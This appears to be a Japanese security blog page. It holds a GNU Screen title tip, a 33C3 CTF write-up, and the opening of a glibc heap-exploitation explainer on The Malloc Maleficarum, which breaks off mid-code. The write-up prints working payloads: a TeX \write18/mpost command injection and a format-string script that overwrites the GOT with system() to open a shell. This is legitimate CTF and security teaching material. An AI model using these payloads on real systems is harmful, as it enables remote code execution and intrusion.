$ python Python 2.7.12 (default, Nov 19 2016, 06:48:10) [GCC 5.4.0 20160609] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> n = 0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551 >>> n 115792089210356248762697446949407573529996955224135760342422259061068512044369L >>> len(bin(n)[2:]) 256 $ gp -q ? factor(115792089210356248762697446949407573529996955224135760342422259061068512044369) [115792089210356248762697446949407573529996955224135760342422259061068512044369 1]
関連リンク
screenのウィンドウタイトルをいい感じに自動変更する方法のメモ
GNU Screenでウィンドウタイトルを
に自動変更し、非アクティブウィンドウでコマンドが終了した際にハイライトさせる方法のメモ。
ここでは、次のようにscreenrcに書いておくことで、常に各ウィンドウのタイトルが表示されている状態を想定する。
hardstatus alwayslastline "%{=r dd}%-Lw%{= BW}%50>%n%f* %t%{-}%+Lw%<"
また、シェルとしてbashを想定する。
Dynamic Titlesを使う
screenでは、適当なオプションとシェルのプロンプト文字列（PS1）を設定することで
- 普段はシェル名などの固定文字列
- コマンド実行中はコマンド名
をタイトルに自動設定することができる。
具体的には、screenrcに次のようなコマンドを書いておく。
shelltitle "$ |bash"
|より前はプロンプト文字列の末尾、後ろはデフォルト文字列を意味する。
次に、シェルの設定ファイル（bashrc等）でプロンプト文字列を次のような感じに設定する。
PS1='\u@\h:\w\[\033k\033\134\]\$ '
\033k\033\134の部分がscreenで空のタイトル文字列を設定するシーケンスになっており、screenはこれをシグナルとしてプロンプト文字列の終端とコマンド名を判別する。
また、\[...\]は囲まれた文字列を表示上の文字数としてカウントしないことを意味する。
標準でカレントディレクトリのディレクトリ名を使う
上の方法である程度自動変更できるが、普段のウィンドウタイトルがすべてbash等の固定文字列となるため、いまいち区別が付けづらい。 そこで、デフォルト文字列をディレクトリ名に変えることを考える。 これを行うには、空のタイトル文字列を設定した直後に適当なタイトル文字列で上書きすればよい。
PS1='\u@\h:\w\[\033k\033\134\033k\W\033\134\]\$ '
SSHしているウィンドウのタイトルをリモートホスト名にする
さらに、リモートサーバにSSHログインしているウィンドウのタイトルをそのホストのホスト名に変えることを考える。
これを行うには、環境変数STYの有無で分岐させればよい。
case "$TERM" in
screen*)
if [[ -z "$STY" ]]; then
# if the shell is on the remote server, display hostname
__set_screen_title='\[\033k[\h]\033\134\]'
else
# otherwise, display command name or directory name
__set_screen_title='\[\033k\033\134\033k\W\033\134\]'
fi
;;
esac
PS1="\u@\h:\w\${__set_screen_title}\\$ "
こうすることで、（自分のbashrcが使える）リモートサーバにログインしているウィンドウのタイトルを[hostname]のように変えることができる。
非アクティブウィンドウでコマンドが終了したときに通知する
非アクティブウィンドウで時間のかかるコマンドを実行している際、終了時にそれを通知させることを考える。 これを行うには、プロンプト文字列にベル文字を含めればよい。
PS1="\[\a\]\u@\h:\w\${__set_screen_title}\\$ "
このようにすることで、コマンド終了時にそのウィンドウのタイトルをハイライト表示させることができる。
完成図
すべて設定すると、次の図のようになる。
0はSSH中のリモートサーバ、1はtopコマンド実行中、2はコマンド終了直後のホームディレクトリ、3は/tmpディレクトリである。
33C3 CTF 供養（Writeup）
33C3 CTFに参加。325ptで140位。
pdfmaker (misc 75)
接続すると、適当なTeXファイルをコンパイルできそうなことがわかる。
$ nc 78.46.224.91 24242 Welcome to p.d.f.maker! Send '?' or 'help' to get the help. Type 'exit' to disconnect. > help Available commands: ?, help, create, show, compile. Type 'help COMMAND' to get information about the specific command. > help create Create a file. Syntax: create TYPE NAME TYPE: type of the file. Possible types are log, tex, sty, mp, bib NAME: name of the file (without type ending) The created file will have the name NAME.TYPE > help show Shows the content of a file. Syntax: show TYPE NAME TYPE: type of the file. Possible types are log, tex, sty, mp, bib NAME: name of the file (without type ending) > help compile Compiles a tex file with the help of pdflatex. Syntax: compile NAME NAME: name of the file (without type ending)
つい先月、細工したTeXファイルをコンパイルさせることで任意のコマンドが実行できるという記事が出ていたので、それを試してみるとフラグが得られた。
$ nc 78.46.224.91 24242
Welcome to p.d.f.maker! Send '?' or 'help' to get the help. Type 'exit' to disconnect.
> create mp x
File created. Type the content now and finish it by sending a line containing only '\q'.
verbatimtex
\documentclass{minimal}\begin{document}
etex beginfig (1) label(btex blah etex, origin);
endfig; \end{document} bye
\q
Written to x.mp.
> create tex x
File created. Type the content now and finish it by sending a line containing only '\q'.
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (ls${IFS}-al)>pwn.log" "x.mp"}
\end{document}
\q
Written to x.tex.
> compile x
fatal: DVI generation failedsystem returned with code 768
This is pdfTeX, Version 3.14159265-2.6-1.40.17 (TeX Live 2016/Debian) (preloaded format=pdflatex)
restricted \write18 enabled.
entering extended mode
(/tmp/839520918753730933/x.tex
LaTeX2e <2016/03/31> patch level 3
Babel <3.9r> and hyphenation patterns for 3 language(s) loaded.
(/usr/share/texlive/texmf-dist/tex/latex/base/article.cls
Document Class: article 2014/09/29 v1.4h Standard LaTeX document class
(/usr/share/texlive/texmf-dist/tex/latex/base/size10.clo))This is MetaPost, version 1.9991 (TeX Live 2016/Debian) (kpathsea version 6.2.2)
(./x.mp
>> x.mp
>> x.mpx
! ! Unable to read mpx file.
l.3 etex beginfig (1) label(btex
blah etex, origin);
Transcript written on x.log.
No file x.aux.
(./x.aux) )
No pages of output.
Transcript written on x.log.
> show log pwn
total 24
drwxrwxr-x 2 pdfmaker pdfmaker 4096 Dec 28 03:48 .
drwxrwxr-x 19 pdfmaker pdfmaker 4096 Dec 28 03:48 ..
-rw-rw-r-- 1 pdfmaker pdfmaker 32 Dec 28 03:48 33C320CBD460FB4030
-rw-rw-r-- 1 pdfmaker pdfmaker 0 Dec 28 03:48 makempx.log
-rw-rw-r-- 1 pdfmaker pdfmaker 460 Dec 28 03:48 mpJJ7pdo.tex
-rw-rw-r-- 1 pdfmaker pdfmaker 0 Dec 28 03:48 pwn.log
-rw-rw-r-- 1 pdfmaker pdfmaker 0 Dec 28 03:48 x.aux
-rw-rw-r-- 1 pdfmaker pdfmaker 0 Dec 28 03:48 x.log
-rw-rw-r-- 1 pdfmaker pdfmaker 128 Dec 28 03:48 x.mp
-rw-rw-r-- 1 pdfmaker pdfmaker 130 Dec 28 03:48 x.tex
> create tex x
File created. Type the content now and finish it by sending a line containing only '\q'.
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (ls${IFS}-al;cat${IFS}33C320CBD460FB4030)>pwn.log" "x.mp"}
\end{document}
\q
Written to x.tex.
> compile x
fatal: DVI generation failedsystem returned with code 768
This is pdfTeX, Version 3.14159265-2.6-1.40.17 (TeX Live 2016/Debian) (preloaded format=pdflatex)
restricted \write18 enabled.
entering extended mode
(/tmp/839520918753730933/x.tex
LaTeX2e <2016/03/31> patch level 3
Babel <3.9r> and hyphenation patterns for 3 language(s) loaded.
(/usr/share/texlive/texmf-dist/tex/latex/base/article.cls
Document Class: article 2014/09/29 v1.4h Standard LaTeX document class
(/usr/share/texlive/texmf-dist/tex/latex/base/size10.clo)) (./x.aux)This is MetaPost, version 1.9991 (TeX Live 2016/Debian) (kpathsea version 6.2.2)
(./x.mp
>> x.mp
>> x.mpx
! ! Unable to read mpx file.
l.3 etex beginfig (1) label(btex
blah etex, origin);
Transcript written on x.log.
(./x.aux)
)
No pages of output.
Transcript written on x.log.
> show log pwn
total 24
drwxrwxr-x 2 pdfmaker pdfmaker 4096 Dec 28 03:49 .
drwxrwxr-x 19 pdfmaker pdfmaker 4096 Dec 28 03:49 ..
-rw-rw-r-- 1 pdfmaker pdfmaker 32 Dec 28 03:48 33C320CBD460FB4030
-rw-rw-r-- 1 pdfmaker pdfmaker 0 Dec 28 03:49 makempx.log
-rw-rw-r-- 1 pdfmaker pdfmaker 460 Dec 28 03:49 mp9opGQm.tex
-rw-rw-r-- 1 pdfmaker pdfmaker 0 Dec 28 03:49 pwn.log
-rw-rw-r-- 1 pdfmaker pdfmaker 0 Dec 28 03:49 x.aux
-rw-rw-r-- 1 pdfmaker pdfmaker 0 Dec 28 03:49 x.log
-rw-rw-r-- 1 pdfmaker pdfmaker 128 Dec 28 03:48 x.mp
-rw-rw-r-- 1 pdfmaker pdfmaker 158 Dec 28 03:49 x.tex
33C3_pdflatex_1s_t0t4lly_s3cur3!
> exit
exfil (Forensics 100)
pcapファイルとサーバスクリプトが与えられる。 pcapファイルの内容は複数回のDNS通信になっており、サブドメイン名でデータをやりとりしていそうなことがわかる。
とりあえず、tsharkを使ってpcapファイルの内容をテキストファイルに書き出す。
$ tshark -r dump.pcap >dump.txt $ head dump.txt 1 0.000000 192.168.0.121 -> 192.168.0.1 DNS 94 Standard query 0x2815 A G4JQAAAAAA.eat-sleep-pwn-repeat.de 2 0.002197 192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x2815 A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de 3 0.203334 192.168.0.121 -> 192.168.0.1 DNS 94 Standard query 0xcfbf A G4JQAAAAAA.eat-sleep-pwn-repeat.de 4 0.204610 192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0xcfbf A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de 5 0.405026 192.168.0.121 -> 192.168.0.1 DNS 94 Standard query 0x5449 A G4JQAAAAAA.eat-sleep-pwn-repeat.de 6 0.406228 192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x5449 A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de 7 0.613703 192.168.0.121 -> 192.168.0.1 DNS 94 Standard query 0x3176 A G4JQAAAAAA.eat-sleep-pwn-repeat.de 8 0.614944 192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x3176 A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de 9 0.821849 192.168.0.121 -> 192.168.0.1 DNS 94 Standard query 0x131b A G4JQAAAAAA.eat-sleep-pwn-repeat.de 10 0.823065 192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x131b A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de
次に、サーバスクリプトを参考に、標準入力からサブドメインを抜き出してデコードするスクリプトを書く。
import sys
import re
import base64
def decode_b32(s):
s = s.upper()
for i in range(10):
try:
return base64.b32decode(s)
except:
s += b'='
raise ValueError('Invalid base32')
lastdata = None
for line in sys.stdin:
m = re.search(r'([\w.]+)\.eat-sleep-pwn-repeat\.de', line)
if not m:
continue
data = m.group(1).replace('.', '')
if data == lastdata:
continue
lastdata = data
data = decode_b32(data)[6:]
if data:
print repr(data)
リクエスト、レスポンスそれぞれに上のスクリプトを適用すると、GPG鍵を書き出した後secret.docxを暗号化していることがわかる。
$ grep -v CNAME dump.txt | python test.py >request.txt $ head request.txt 'uid=1001(fpetry) gid=1001(fpetry) groups=1001(fpetry)\n' 'total 36K\n2624184 drwxr-xr-x 2 fpetry fpetry 4.0K Dec 17 13:30 .\n2621441 drwxr-xr-x 5 root root 4.0K Dec 17 13:06 ..\n263' '1209 -rw------- 1 fpetry fpetry 42 Dec 17 13:07 .bash_history\n2627663 -rw-r--r-- 1 fpetry fpetry 220 Dec 17 13:06 .bash_l' 'ogout\n2631208 -rw-r--r-- 1 fpetry fpetry 3.7K Dec 17 13:06 .bashrc\n2631221 -rw------- 1 fpetry fpetry 33 Dec 17 13:24 .les' 'shst\n2627664 -rw-r--r-- 1 fpetry fpetry 675 Dec 17 13:06 .profile\n2631216 -rw-r--r-- 1 fpetry fpetry 4.0K Dec 17 13:17 secr' 'et.docx\n2631218 -rw------- 1 fpetry fpetry 908 Dec 17 13:21 .viminfo\n' "gpg: directory `/home/fpetry/.gnupg' created\ngpg: new configuration file `/home/fpetry/.gnupg/gpg.conf' created\ngpg: WARNING" ": options in `/home/fpetry/.gnupg/gpg.conf' are not yet active during this run\ngpg: keyring `/home/fpetry/.gnupg/secring.gpg" "' created\ngpg: keyring `/home/fpetry/.gnupg/pubring.gpg' created\ngpg: /home/fpetry/.gnupg/trustdb.gpg: trustdb created\ngpg: " 'key D0D8161F: public key "operator from hell <team@kitctf.de>" imported\ngpg: key D0D8161F: secret key imported\ngpg: key D0D8' $ grep -oE 'CNAME.*' dump.txt | python test.py >response.txt $ head response.txt 'id\n' 'ls -alih\n' 'cat > key << EOF\n' '-----BEGIN PGP PUBLIC KEY BLOCK-----\n\nmQENBFhNxEIBCACokqjLjvpwnm/lCdKTnT/vFqnohml2xZo/WiMAr4h3CdTal4yf\nCBbYeZYXI4S9RNVl3+5j2' 'h2yCssQ5S4ydWV2oy550qqh7K41u78L4FcT4lwgdbhD\ngHyRdiHpqZ15JIdHQBm1Tc4ZQNKiRmzgDZqroa/YfkGi7l35BDGId9VjwttZg6y4\n4I4j0NwnSdkhx3j' 'e+YUhDRSXXw55jhLsCqEVUaBpl4T3y93QkbxSEupPOQZ2TBNJ\nHv454UDToUU9SwgkhARivA7dMV43RR21hyUdFAuRcVXzEZCS1nsF7nE9sgVGZ6fs\nBXeU/oPF6' 'o86TqgPkBKrwYk2XTA3pf1DgVyvABEBAAG0I29wZXJhdG9yIGZyb20g\naGVsbCA8dGVhbUBraXRjdGYuZGU+iQFOBBMBCAA4FiEE0Rl3XS1+y7q+DPr51DzA\nYtD' 'YFh8FAlhNxEICGwMFCwkIBwIGFQgJCgsCBBYCAwECHgECF4AACgkQ1DzAYtDY\nFh/FoQgAj5df/QfWefsQrMkGEH38prNfPXRN8+G2gJbjYj2fliKvwqiOAiX7At' 'oQ\ntxlwU45eVCRwSq41uLBOhNiNDKlo62Rlz5d7ZCRd0hoewPpH+gMVrsUBym3WNy6k\nkvHBelOWOTqDSEW/BWyhk+UTDnMb1M0LP/NpcDHbYvR/KQhaP2N1SRz9' 'Ye05Xs/B\nDRT+lzFnXstgXsPrOOXV1J4924IfbwGRamx0N4aDzEUqkN80PfwTjaCWdrz0Cgym\nBYVZOpHKuoDS/IK6/jxo4Q5N+BlAkN+9a7VeofbSor4X5Whrcr'
上の出力からそれぞれのファイルを抜き出し、復号するとフラグが得られた。
$ sha1sum secret.docx.gpg key
700216568a3819f12808bf7fffd108a0aa36acca secret.docx.gpg
6c5309445f7857fd66b8c88128d550f8bf4c5263 key
$ gpg --import key
gpg: directory `/home/user/.gnupg' created
gpg: new configuration file `/home/user/.gnupg/gpg.conf' created
gpg: WARNING: options in `/home/user/.gnupg/gpg.conf' are not yet active during this run
gpg: keyring `/home/user/.gnupg/secring.gpg' created
gpg: keyring `/home/user/.gnupg/pubring.gpg' created
gpg: /home/user/.gnupg/trustdb.gpg: trustdb created
gpg: key D0D8161F: public key "operator from hell <team@kitctf.de>" imported
gpg: key D0D8161F: secret key imported
gpg: key D0D8161F: "operator from hell <team@kitctf.de>" not changed
gpg: Total number processed: 2
gpg: imported: 1 (RSA: 1)
gpg: unchanged: 1
gpg: secret keys read: 1
gpg: secret keys imported: 1
$ gpg --decrypt --output secret.docx secret.docx.gpg
gpg: encrypted with 2048-bit RSA key, ID BF30A26A, created 2016-12-11
"operator from hell <team@kitctf.de>"
$ file secret.docx
secret.docx: Microsoft Word 2007+
ESPR (Pwn 150)
問題文の写真から、概ね次のような処理をしていることが推測できる。
char buf[0x100];
while (1) {
gets(buf);
sleep(1);
printf(buf);
}
Format String Bugがあるので、適当にスタックの内容を調べた後、saved ebp相当の箇所を利用して通常0x601000に置かれる.plt.gotセクションの内容を書き出してみる。
from minipwn import *
s = socket.create_connection(('78.46.224.86', 1337))
s.settimeout(3)
sendline(s, '%'+str(0x601000)+'c%40$ln')
try:
while True:
print len(s.recv(8192))
except socket.timeout:
pass
sendline(s, '%66$p')
print s.recv(8192),
sendline(s, '%66$s')
data = s.recv(8192)
got_addr = u64(data.ljust(8, '\x00'))
print hex(got_addr)
for i in xrange(0x08, 0x60, 0x8):
sendline(s, '%'+str(i)+'c%40$hhn')
s.recv(8192)
sendline(s, '%66$p')
print s.recv(8192),
sendline(s, '%66$s')
data = s.recv(8192)
got_addr = u64(data.ljust(8, '\x00'))
print hex(got_addr)
$ python espr.py
(snip)
0x601000 0x600e20
0x601008 0x7f3fb55e1168
0x601010 0x7f3fb53d28f0
0x601018 0x7f3fb4e48550
0x601020 0x7f3fb4e62030
0x601028 0x7f3fb4ebe640
0x601030
Traceback (most recent call last):
File "espr.py", line 23, in <module>
data = s.recv(8192)
socket.timeout: timed out
アドレスが指しているページから、0x601018、0x601020、0x601028の三つがprintf、sleep、getsのいずれかに対応してそうなことがわかる。
次のスクリプトを利用してオフセットの合うlibcを探すと、一致するものが見つかる。
$ ./find printf 550 gets 030 sleep 640 http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.24-3ubuntu1_amd64.deb (id libc6_2.24-3ubuntu1_amd64) archive-glibc (id libc6_2.24-3ubuntu2_amd64) $ cat db/libc6_2.24-3ubuntu1_amd64.symbols | grep -e ^printf -e ^system printf 0000000000056550 system 00000000000456d0
GOTのprintfをsystemに書き換え、system("/bin/sh")を呼ぶことでシェルを起動できる。
from minipwn import *
s = socket.create_connection(('78.46.224.86', 1337))
s.settimeout(3)
sendline(s, '%'+str(0x601018)+'c%40$ln')
try:
while True:
print len(s.recv(8192))
except socket.timeout:
pass
sendline(s, '%66$p')
print s.recv(8192)
sendline(s, '%66$s')
data = s.recv(8192)
libc_printf = u64(data.ljust(8, '\x00'))
print "[+] libc_printf = %x" % libc_printf
libc_system = libc_printf - 0x0000000000056550 + 0x00000000000456d0
print "[+] libc_system = %x" % libc_system
n = libc_system & 0xFFFFFFFF
print "[+] n = %x" % n
sendline(s, '%'+str(n)+'c%66$n')
try:
while True:
print len(s.recv(8192))
except socket.timeout:
pass
print "[+] got a shell!"
sendline(s, '/bin/sh\x00')
interact(s)
$ python espr.py (snip) 0x601018 [+] libc_printf = 7f900de94550 [+] libc_system = 7f900de836d0 [+] n = de836d0 (snip) [+] got a shell! id uid=1001(challenge) gid=1001(challenge) groups=1001(challenge) ls espr flag run.sh cat flag 33C3_f1rst_tshirt_challenge?!
所感
他に解きたかった問題は以下。
- babyfengshui (Pwn 150)
- The 0x90s called (Pwn 150)
- rec (Pwn 200)
- someta1 (Reversing 250)
- try (Web 150)
- pay2win (Web 200)
The Malloc Maleficarum (Bugtraq 2005)
この記事は「CTF Advent Calendar 2016」24日目の記事です。
「glibc malloc exploit techniques」では主要なmalloc系exploitテクニックについて説明したが、歴史的には他にもさまざまな手法が公表されている。 ここでは、2005年にBugtraqメーリングリストにて公表されたテキスト「The Malloc Maleficarum」についてまとめてみる。
環境
Ubuntu Server 16.04.1 LTS 64bit版、GLIBC 2.23
$ uname -a Linux vm-ubuntu64 4.4.0-53-generic #74-Ubuntu SMP Fri Dec 2 15:59:10 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04.1 LTS Release: 16.04 Codename: xenial $ /lib/x86_64-linux-gnu/libc.so.6 GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.
本文中で参照するコードは、引用箇所を除きGLIBC 2.23のものを用いる。
概要
2001年、「Vudo Malloc Tricks」「Once Upon A free()」というテキストにて、mallocで確保されるchunkのヘッダを細工することで任意のアドレスを書き換えるunlink attackが公表された。 その後3年の時を経て2004年、Ulrich Drepperによりglibcにsafe unlinkingやdouble free detectionを含む複数のチェックが加えられ、unlink attackは過去のものとなった。
2005年、Phantasmal Phantasmagoriaは「The Malloc Maleficarum」というテキストにて、これらのチェックが加えられた後も依然として攻撃が可能であることを公表した。 タイトルは中世の魔女に関する有名な論文「Malleus Maleficarum（魔女の槌）」のもじりであり、テキストは「mallocの魔女」という体で「Primeの一族」「Mindの一族」「Forceの一族」「Loreの一族」「Spiritの一族」それぞれの手法と、「Chaosの一族」という後書きに分けられている。
2007年、K-sPecialは「.aware eZine Alpha」というテキストにて、「Mindの一族」の解説と誤りの指摘を行った。 さらに、blackngelは2009年に「Malloc Des-Maleficarum」、2010年に「The House Of Lore: Reloaded」というテキストを公表し、これらの手法についてあらためて解説と補足を行った。 ここでは、これらのテキストで補足されている内容についても説明する。
前置き
malloc/freeはヒープと呼ばれる一定のメモリ領域から、要求されたサイズのメモリを一時的に取得/返却する関数である。 mallocによるメモリ管理については、次のページがまとまっている。
要点を整理すると次のようになる。 ここではfreeされているchunkをfreed chunkと呼ぶことにする。
- ひとつひとつの切り分けられたメモリはchunkと呼ばれ、それらを管理する領域としてarenaがある。
- arenaにはサイズに応じた複数の種類のbinがあり、各binにはfreed chunkがリンクリストとして繋がれている。高速化のため、利用頻度の高い小さなサイズのchunkほど特別扱いされている。
- fastbin: 0x80バイト未満のchunkがサイズごとに振り分けられる。Last-In-First-Out（LIFO）の単方向リスト。隣りがfreed chunkでも連結（consolidate）されない。
- smallbin: 0x400バイト未満のchunkがサイズごとに振り分けられる。First-In-First-Out（FIFO）の双方向リスト。隣りがfreed chunkだと連結（consolidate）される。
- largebin: 0x400バイト以上のchunkが対数スケールのサイズ範囲ごとに振り分けられる。ひとつのbinにサイズの異なるchunkが繋がり、サイズの大きなchunkから順にリンクリストに並べられる。隣りがfreed chunkだと連結（consolidate）される。
- unsortedbin: smallbinやlargebinに入る前に一旦入れられる双方向リスト。mallocの際に先頭から一つずつbest-fitかどうかチェックされ、best-fitならそのままmallocの戻り値に、そうでなければsmallbin/largebinに振り分け直される。
- 各chunkには2ワードのヘッダ、prevsizeとsizeがある。prevsizeは前のchunkがfreedな場合にそのサイズとなる。sizeは自身のサイズを表す。
- freeされたchunkはリンクリストに繋がれ、ヘッダに続く2ワードが前後のchunkを指すfd、bkポインタとして用いられる。
- mallocでfreed chunkがbinのリンクリストから切り離されるとき、その前後の継ぎ換え（unlink）が行われる。
- 基本的には、前の次、次の前が自身を指すようになっているかチェックされる。
- fastbinのみ単方向リストなため、次のchunkのサイズが適切なサイズになっているかのチェックしか行われない。
- sizeの下位3ビットはchunkの属性を表すフラグになっている。
- PREV_INUSE (1st LSB): 前のchunkがfreedかどうか。freedであればprevsizeが意味を持つ。
- IS_MMAPPED (2nd LSB): mmapによって確保された（通常巨大な）chunkかどうか。
- NON_MAIN_ARENA (3rd LSB): スレッドごとに確保されるarenaに対応するchunkかどうか。
以降の手法のうちのいくつかが目的とするところは、次のようなものである。
- あるbinのリストの先頭を（chunkとしての制約を満たす）任意のアドレスにできれば、次のmallocでそのbinが使われるとき指定したアドレスが戻り値になる
これを実現するために、あれやこれやでbinのリストの先頭に任意のアドレスを入れようとするわけである。また、上で述べたように単方向リストで管理されるfastbinのみbinに入れる際のチェックが緩い。ここでは便宜上、直前の1ワードを適切なサイズにコントロールできる状態を指して「fastbin chunkの制約を満たす」と呼ぶことにする。
House of Prime (max_fast overwrite)
fastbin配列の境界外アクセスが可能だったことを利用する。
具体的には、fastbin[-1]でfastbinに入るchunk sizeの最大値（max_fast）を書き換えた後、fastbin[289]で実行中スレッドのarenaを指すポインタ（arena_key）を書き換える。
arena_keyがfreed chunkを指すようになるので、あらためてmallocして偽のarenaを作ることでfastbin chunkの制約を満たす任意のアドレスを返すようにできる。
かつてのglibcでは、arena構造体のfastbin配列の直前にmax_fastというメンバがあり、fastbinに入るchunk sizeの最大値として用いられていた。
そこで、サイズを無理やり8バイトに書き換えたchunkをfreeすると、fastbin[-1] == max_fastにfreed chunkのアドレスが入り、大きなサイズのchunkもfastbinに入るようになる。
上からもわかるように、freeする際にfastbin配列の境界チェックがされていないため、大きなchunkのアドレスはfastbin配列の範囲を越えたアドレスに書き込まれることになる。
そこで、fastbin配列の後ろにあるarena_keyメンバを指すように調整した2328バイトのchunkをfreeする。 arena_keyは実行中のスレッドにおけるarenaを指すポインタとなっており、これによりarena_keyをfreed chunkのアドレスにできる。 結果、そのchunkが実行中スレッドでのarenaとみなされるようになるので、あらためてmallocして偽のarenaを作り、fastbinの箇所の値を調整することでfastbin chunkの制約を満たす任意のアドレスを返すようにできる。
また、「Malloc Des-Maleficarum」では、NX、ASLRが無効な環境において、偽のarenaにおけるbin[0]（unsortedbin）の位置にfake chunkを置くことにより、スタック上のリターンアドレスを書き換えシェルコード実行に持っていけることを説明している。
現在はfree時にサイズチェックが行われるようになり、8バイトのchunkをfreeするようなことはできなくなっている。
3840 static void
3841 _int_free (mstate av, mchunkptr p, int have_lock)
3842 {
....
3871 /* We know that each chunk is at least MINSIZE bytes in size or a
3872 multiple of MALLOC_ALIGNMENT. */
3873 if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
3874 {
3875 errstr = "free(): invalid size";
3876 goto errout;
3877 }
また、max_fastメンバの代わりにglobal_max_fastというグローバル変数を用いるように変更されており、arena_keyメンバもTLS領域に確保されるようになっている。
この手法に関連するものとしては、libcのbssにあるglobal_max_fastをunsorted bin attack等で書き換え、任意サイズのfastbins unlink attackを行う手法が知られている。
House of Mind (freeing NON_MAIN_ARENA chunk)
ヒープバッファオーバーフロー等を利用してNON_MAIN_ARENAフラグを書き換え、そのchunkをfreeすることで偽のarenaを参照させる。 さらに、偽のarenaのbinに適当なアドレスを置いておくことで、そのアドレスにchunkのアドレスを書き込む。 NXが無効であれば、chunkにjmp命令とシェルコードを置いておくことで任意コード実行に持っていくことができる、というもの。 適当なアドレスをchunkのアドレスに書き換える話なので、NXが有効な環境ではあまり役に立たない。
chunk（p）のNON_MAIN_ARENAフラグを立て、そのchunkをfreeするとarenaとして通常のmain_arenaではなく実行中スレッドのarena（heap_info->ar_ptr）を参照するようになる。
heap_infoのアドレスはp & ~(0x100000-1)（下位20ビット切り捨て）のように計算されるので、そこに適当なアドレスを置いておくとその先がarenaとして参照される。
48 typedef struct _heap_info
49 {
50 mstate ar_ptr; /* Arena for this heap. */
51 struct _heap_info *prev; /* Previous heap. */
52 size_t size; /* Current size in bytes. */
53 size_t mprotect_size; /* Size in bytes that has been mprotected
54 PROT_READ|PROT_WRITE. */
55 /* Make sure the following data is properly aligned, particularly
56 that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
57 MALLOC_ALIGNMENT. */
58 char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK];
59 } heap_info;
ここから先はオリジナル版と、「Malloc Des-Maleficarum」で補足されたfastbin版、top連結版がある。 また、2014年に日本の一流CTF player @potetisensei が公表した手法もこれに関連するものであるため、合わせて紹介する。
Original method
chunkがfastbin chunkでない場合、次の箇所でchunkがunsortedbinの先頭に挿入される。
void _int_free(mstate av, Void_t* mem) {
.....
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
.....
}
ここで、偽のarenaのbin[0] = bckを細工しbck->fd->bkがGOTなどの書き換え可能なアドレスとなるように調整しておくことで、そのアドレスをchunkのアドレスに書き換えることができる。
現在は当該箇所が次のように修正されているため成立しない。
3840 static void
3841 _int_free (mstate av, mchunkptr p, int have_lock)
3842 {
....
4026 bck = unsorted_chunks(av);
4027 fwd = bck->fd;
4028 if (__glibc_unlikely (fwd->bk != bck))
4029 {
4030 errstr = "free(): corrupted unsorted chunks";
4031 goto errout;
4032 }
4033 p->fd = fwd;
4034 p->bk = bck;
4035 if (!in_smallbin_range(size))
4036 {
4037 p->fd_nextsize = NULL;
4038 p->bk_nextsize = NULL;
4039 }
4040 bck->fd = p;
4041 fwd->bk = p;
fastbin method
chunkがfastbin chunkの場合は、次の箇所でfastbinへの挿入が行われる。
if ((unsigned long)(size) <= (unsigned long)(av->max_fast)) {
if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
errstr = "free(): invalid next size (fast)";
goto errout;
}
set_fastchunks(av);
fb = &(av->fastbins[fastbin_index(size)]);
if (__builtin_expect (*fb == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
printf("\nbDebug: p = 0x%x - fb = 0x%x\n", p, fb);
p->fd = *fb;
*fb = p;
}
ここで、偽のarenaのfastbins[0]を適当なアドレスにしておき、chunkのsizeを16に調整することで、そのアドレスをchunkのアドレスに書き換えることができる。
av->top NIGHTMARE
chunkがfastbin chunkでない、かつ、次のchunkがtop chunkだった場合は、freeされたchunkがtop chunkとなる。
3840 static void
3841 _int_free (mstate av, mchunkptr p, int have_lock)
3842 {
....
4009 if (nextchunk != av->top) {
....
4047 }
4048
4049 /*
4050 If the chunk borders the current high end of memory,
4051 consolidate into top
4052 */
4053
4054 else {
4055 size += nextsize;
4056 set_head(p, size | PREV_INUSE);
4057 av->top = p;
4058 check_chunk(av, p);
4059 }
偽のarenaのtopを適当なアドレスにしておき、次のchunkがそのアドレスとなるようにサイズを調整することによって、そのアドレスをchunkのアドレスに書き換えることができる。
poteti method
標準で0x10000バイト以上のchunkがfreeされたとき、通常連結されない各fastbin chunkの前後を連結してunsortedbinに入れる次のような処理が走る（デフラグのようなイメージ）。
3840 static void
3841 _int_free (mstate av, mchunkptr p, int have_lock)
3842 {
....
4061 /*
4062 If freeing a large space, consolidate possibly-surrounding
4063 chunks. Then, if the total unused topmost memory exceeds trim
4064 threshold, ask malloc_trim to reduce top.
4065
4066 Unless max_fast is 0, we don't know if there are fastbins
4067 bordering top, so we cannot tell for sure whether threshold
4068 has been reached unless fastbins are consolidated. But we
4069 don't want to consolidate on each free. As a compromise,
4070 consolidation is performed if FASTBIN_CONSOLIDATION_THRESHOLD
4071 is reached.
4072 */
4073
